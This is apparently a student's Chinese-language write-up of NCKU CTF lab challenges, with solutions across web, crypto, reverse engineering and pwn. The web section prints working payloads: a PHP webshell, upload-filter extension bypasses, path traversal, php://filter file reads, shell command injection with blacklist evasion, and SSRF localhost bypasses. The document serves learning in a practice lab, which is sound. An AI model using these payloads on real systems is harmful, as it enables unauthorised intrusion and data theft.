# nckuctf lab
資源
- WEB CTF CheatSheet https://github.com/w181496/Web-CTF-Cheatsheet?tab=readme-ov-file#bypass-127001
# Web
## shiba-shop



<br>
## phpisnice

我自己看起來這題是要 md5 碰撞,所以會使得 MD5(A) == A
https://github.com/JohnHammond/ctf-katana
這裡有


url 輸入 ?A=0e215962017

<br>
## phpisbest


1. A != B
2. len(A) == len(B)
3. MD5(A) == MD5(B)
其中第2個解法是用 `A[]` `B[]` 這樣就都會是 len() == 0
加上這個

輸入
```
/?A[]=QNKCDZO&B[]=QLTHNDT
```

<br>
## uploader
一個簡單可以 upload file 的地方

看起來也沒有什麼黑名單的機制

簡單上傳一個 webshell
```php
<?php system($_GET['cmd']);?>
```

成功上傳!!


url 後面加上 `?cmd=ls`

輸入 `?cmd=ls /`

`?cmd=cat /flag_23fb1b3`

<br>
## uploader-waf

可以看到 content-Type 被限制只能上傳 image/png
附檔名也只能是 php

簡單就可以繞過
##### Bypass extension
```
- .phP
- .php3
- .php4
- .php5
- .php7
- .pht
- .phtml
```
```php
<?php system($_GET['cmd']);?>
```

成功上傳!!

?cmd=ls

?cmd=ls /

?cmd=cat /flag_NCA4jqt

## pathwalker

可以看到這是 web 的 source code
把框選處的改成 flag 的位置就行了


../../../../../var/www/html/flag

<br>
## pathwalker - waf

只要符合 `/^apple|banana|cappo$/` 就行了

輸入 /^apple|banana|cappo$/../../../../../var/www/html/flag

<br>
## lfi


flag在 /var/www/html/flag.php


#### php 偽協議
輸入 `php://filter/read=convert.base64-encode/resource=flag`

輸入
```
echo "PD9waHAKICAvL05DS1VDVEZ7MWYxXzE1XzdoM185MDBkX2NoNG5jM30KICBlY2hvICJub2ZsYWcgaGVyZSBRUVxuIjsKICBleGl0KCk7ID8+" | base64 -d
```

<br>
## dig


輸入 `'; ls '`
沒反應

輸入 `'; ls /` 列出跟目錄下所有的檔案

輸入 `'; cat /flag_n2i3na'`

<br>
## dig-waf1

黑名單 `|` `&` `;` `>` `\n` `flag`

```
'`cat /fla*` #
```
`#`:這是註解符號,在命令中用來說明或標註用途,不會被執行。

## dig-waf2

黑名單 `|` `&` `;` `>` `<` `\n` ` ` `flag`

繞過空白方法`${IFS}`
```
'`cat${IFS}/fla*`'
```

## ssrf1

<details>
<summary>main.py</summary>
from flask import Flask, request, render_template, abort, send_file
from urllib.parse import urlparse
from config import flag
import requests
app = Flask(__name__)
@app.route("/mkreq", methods=["GET"])
def make_request():
url = request.args.get("url")
if urlparse(url).hostname in ["localhost", "127.0.0.1", "::1"]:
return "badhacker"
return requests.get(url).text
@app.route("/internal-only")
def internal_only():
if request.remote_addr != "127.0.0.1":
abort(403)
return flag
@app.route("/")
def home():
if request.args.get("debug"):
return send_file(__name__ + ".py")
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", debug=True)
</details>
有兩個重點
1. 黑名單

2. 指允許內部網路

<br>
#### Bypass 方法

詳細 https://github.com/w181496/Web-CTF-Cheatsheet?tab=readme-ov-file#bypass-127001
輸入 `http://0/internal-only`


<br>
## ssrf2

<details>
<summary>main.py</summary>
from flask import Flask, request, render_template, abort, send_file
from urllib.parse import urlparse
from config import flag
import requests
app = Flask(__name__)
@app.route("/mkreq", methods=["GET"])
def make_request():
url = request.args.get("url")
if not urlparse(url).hostname.startswith("httpbin.dev"):
return "badhacker"
return requests.get(url, verify=False).text
@app.route("/internal-only")
def internal_only():
if request.remote_addr != "127.0.0.1":
abort(403)
return flag
@app.route("/")
def home():
if request.args.get("debug"):
return send_file(__name__ + ".py")
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0")
</details>
重點在這個地方

直接google看看有沒有這個 `httpbin.dev` domain,有ㄟ!!

找到一個 /redirect-to?url=<up to u>

輸入 `https://httpbin.dev/redirect-to?url=http://localhost/internal-only`


BINGO!!
<br>
# Crypto
## rsa easy

chal.py
```python=
from Crypto.Util.number import getPrime
from Crypto.Util.number import bytes_to_long, long_to_bytes
from flag import FLAG
p = getPrime(543)
q = getPrime(21)
n = p*q
e = 65537
d = pow(e, -1, (p-1)*(q-1))
def encrypt(n, e, m):
c = pow(m, e, n)
return c
def decrypt(n, d, c):
m = pow(c, d, n)
return m
c = encrypt(n, e, bytes_to_long(FLAG))
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
```
output.txt
```
n = 14544223479134844390788798235156699087216999040384593929854703004546289319225764582237518077161249748347256800914719007386385983458719350842623972314739914702855133799213
e = 65537
c = 12487612751692953722733631473212099142961575519976207888036290445733471296204928811599237452625349869636774975422372294477447658649025391697650109348838464506147245215484
```
把N丟進這網站 https://factordb.com/ 來解大質數問題
很好有找到

```python=
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = 11002071965004765679120708582196757751966243420425349774895286365292144686822926464893661285252300642895133658975574920465941921983067762619497164813744723
q = 1321953130773631
n = p*q
e = 65537
d = pow(e, -1, (p-1)*(q-1))
def decrypt(n, d, c):
m = pow(c, d, n)
return m
c = 12487612751692953722733631473212099142961575519976207888036290445733471296204928811599237452625349869636774975422372294477447658649025391697650109348838464506147245215484
ans = decrypt(n,d,c)
ans = long_to_bytes(ans)
print(f"ans : {ans}")
```

## rsa simplest

```python=
from Crypto.Util.number import getPrime
from Crypto.Util.number import bytes_to_long, long_to_bytes
# n = getPrime(512)
n = 9610915574605499860121429716337837877220090648253864251227943071667220945589355545444414047172556389929743924718633856789981007368252396633278940233155523
e = 65537
d = pow(e, -1, n-1)
def encrypt(n, e, m):
c = pow(m, e, n)
return c
def decrypt(n, d, c):
m = pow(c, d, n)
return m
# c = encrypt(n, e, bytes_to_long(FLAG))
# print(f'n = {n}')
# print(f'e = {e}')
# print(f'c = {c}')
c = 8588360358197967498140952810266929022580640165256575284560049498241844771195559005338463466664374372995831743444196054522118631438266765078993819076442208
ans = decrypt(n,d,c)
ans = long_to_bytes(ans)
print(f"ans : {ans}")
```
## rsa reusen

```python=
from Crypto.Util.number import long_to_bytes
from math import gcd
n = 8043524339665486501722690364841854181558012095441297536641336786057021881436981279151373985115124256457664918399612791182378270114245970486016546496099141
e1 = 863047
c1 = 977794351462943753500623403456170325029164798178157637276767524847451843872628142596652557213651039320937257524442343930998122764638359874102209638080782
e2 = 995023
c2 = 7803335784329682230086969003344860669091120072205053582211253806085013270674227310898253029435120218230585288142781999838242977459669454181592089356383378
# 擴展歐幾里得演算法求解 a, b 使 a*e1 + b*e2 = gcd(e1, e2) = 1
def egcd(a, b):
if b == 0:
return (a, 1, 0)
else:
g, x, y = egcd(b, a % b)
return (g, y, x - (a // b) * y)
g, a, b = egcd(e1, e2)
assert g == 1, "e1 and e2 are not coprime, can't apply common modulus attack"
# 如果 a 或 b 是負數,必須用模反元素計算
# pow(x, -1, n) 計算 x 的模反元素
if a < 0:
c1_inv = pow(c1, -1, n)
c1_a = pow(c1_inv, -a, n)
else:
c1_a = pow(c1, a, n)
if b < 0:
c2_inv = pow(c2, -1, n)
c2_b = pow(c2_inv, -b, n)
else:
c2_b = pow(c2, b, n)
m = (c1_a * c2_b) % n
flag = long_to_bytes(m)
print(flag)
```
# Reverse
## Kazdle

一開始會看到這個畫面

找出 rightGuessString,就會拿到 flag

而會先 Import 一大串 words
抓第 141 個當作 correct_Guess


找到了


## Chosen0


## Chosen1
## Ez_asm0

找出eax register的decimal值

0x30 -> eax => 48
## Ez_asm1

找出eax register的decimal值


## Ez_asm2

找出eax register的decimal值

[rbp-0xc] * [rbp-0x8] + 0x1f5 = ans

## Ez_asm3

找出eax register的decimal值

把上數assemble code轉成python or c就式下方這樣
```python=
int x = 0x9fe1a
if(x <= 0x2710){
x = x + 0x65
}else{
x = x - 0x65
}
```
jle : 如果 a <= b,就跳到某address,否則繼續往下行
## Flag_checker0

stripped表示會把`函式名稱`、`變數名稱`、`除錯資訊`都移出,都不會看到這些像是main之類的函式名

可以看到 FUN_08048451要回傳1,不然會Wrong

可以看到DAT_0804a021的address=='l',如果那些都`==`的話,會回傳`1`,所以只要把他們逆推回來就好了

script如下
```python=
ans = chr(int("78",16) ^ 52) + 'l' + chr(int("7C",16) ^ 50) + chr(int("dd",16) ^ 136) + 'X'
print(f"answer : {ans}")
```

## FlagTracer

exploit
```python=
list = "IDLRDSA|R2ni`Xk0ufdbXd3iX4ftnk~X`4sX0obXa6f`&z"
result = ""
for i in list:
result = result + chr(ord(i) ^ 7)
print(result)
```
## xor-checker

ghidra跟IDA free都可以解
### ghidra
這是encrypted_flag的內容

### IDA free
可以看到箭頭指的方向
需要輸入正確的flag
並且會進行xor
如果等於encrypted_flag的內容的話,就會output correct

所以我寫的一個script進行xor回來
```python=
hex_list = [
"3C", "36", "3B", "3D", "21", "23", "35", "2F", "05", "32", "3B", "2C",
"3F", "05", "36", "3F", "3B", "28", "34", "3F", "3E", "05", "3C", "36",
"3B", "3D", "05", "39", "32", "3F", "39", "31", "3F", "28", "27"
]
int_list = [int(h, 16) for h in hex_list]
xor_list = [i ^ 90 for i in int_list]
ascii_chars = ''.join([chr(x) for x in xor_list])
print(f"answer : {ascii_chars}")
```

## PixelPoker


先來測試一下.exe,只要指的位置x和y正確,就會給出flag
旁邊顯示了有給我們10次機會

如果10次了還沒成功,就會出現這個Message Box,可以判斷有用Message box 寫

IDA free看一下,進來會看到這個畫面

`shift+F12` 看一下目前反編譯檔案中所有的strings,看一下有沒有 Message Box

點進去按`x`可以看到Xrefs視窗,會顯示「誰有呼叫(或使用) `MessageBoxA` 這個API函式」


`F5`

需要知道滑鼠點的地方是什麼數值(x & y)
[Window message list](https://gitlab.winehq.org/wine/wine/-/wikis/Wine-Developer's-Guide/List-of-Windows-Messages)
- `Msg == 512` : WM_MOUSEFIRST、WM_MOUSEMOVE
- `Msg != 513` : WM_LBUTTONDOWN,左鍵按下
- `lParam‵ : 
```cpp=
if ( Msg > 0x111 )
{
if ( Msg == 512 )
{
_snprintf(String, 0x104u, "PixelPoker (%d,%d) - #%d/%d", (__int16)lParam, SHIWORD(lParam), dword_413298, 10);
SetWindowTextA(hWnd, String);
return 0;
}
if ( Msg != 513 )
return DefWindowProcW(hWnd, Msg, wParam, lParam);
v8 = (__int16)lParam;
if ( dword_413298 == 10 )
{
MessageBoxA(0, "Womp womp... :(", "Please play again!", 0);
DestroyWindow(hWnd);
LABEL_30:
_snprintf(String, 0x104u, "PixelPoker (%d,%d) - #%d/%d", v8, SHIWORD(lParam), dword_413298, 10);
SetWindowTextA(hWnd, String);
DC = GetDC(hWnd);
BitBlt(DC, 0, 0, dword_413280, cy, hdc, 0, 0, 0xCC0020u);
ReleaseDC(hWnd, DC);
return 0;
}
++dword_413298;
v9 = dword_413280;
if ( (__int16)lParam == dword_412004 % (unsigned int)dword_413280 )
{
v10 = cy;
if ( SHIWORD(lParam) == dword_412008 % (unsigned int)cy )
{
v11 = 0;
if ( cy > 0 )
{
v12 = dword_413280;
do
{
v13 = 0;
if ( v12 > 0 )
{
do
{
sub_4015D0(v13, v11);
v12 = dword_413280;
++v13;
}
while ( v13 < dword_413280 );
v10 = cy;
}
++v11;
}
while ( v11 < (int)v10 );
}
v8 = (__int16)lParam;
goto LABEL_30;
}
v9 = dword_413280;
}
else
{
v10 = cy;
}
if ( (__int16)lParam < v9 && SHIWORD(lParam) < v10 )
sub_4015D0((__int16)lParam, SHIWORD(lParam));
goto LABEL_30;
}
```
所以我們需要的是箭頭指的那個數值,但
dword_412004 % dword_413280 == 其中一個
dword_412008 % cy == 其中一個

來找一下這4個值
1. dword_412004 = 0x52414C46

2. dword_412008 = 0x6E4F2D45

---------------------
這裡顯示 `?`,代表是動態設定的值,程式跑到某個地方才會輸入這個值
這時要用動態分析,因為是32 bytes 所以用 x32dbg

所以也要在 x32dbg上找到這address的值
先用IDA找到base addrees(Code開始的地方),在.text這裡
[view]->[Open subviews]->[Segments]
可以看到他的.text是從401000開始

所以dword_413280 offset 12280
cy 則是 offset 12284
打開x32dbg->[記憶體映射]可以看到pixelpoker.exe的.text的address
這跟IDA看到的是一樣的

`Ctrl+G` search
3. dword_413280 = 0x2e5

執行

4. cy = 0x281

執行

x and y


# Pwn
## pwntools_math

回答100問題成功

```python3=
from pwn import *
import re
# p = process(['python3','server.py'])
# p = remote("localhost",28202)
p = remote("chall.nckuctf.org",28202)
print(p.recvline().decode())
for i in range(100):
line = p.recvuntil(b"?").decode().strip()
print(f"Q{i+1}: {line}")
match = re.search(r'What is (\d+)\s*([\+\-\*/])\s*(\d+)\?', line)
a = int(match.group(1))
op = match.group(2)
b = int(match.group(3))
if op == "+":
ans = a + b
elif op == "-":
ans = a - b
elif op == "*":
ans = a * b
elif op == "/":
ans = a // b
p.sendline(str(ans))
p.interactive()
```
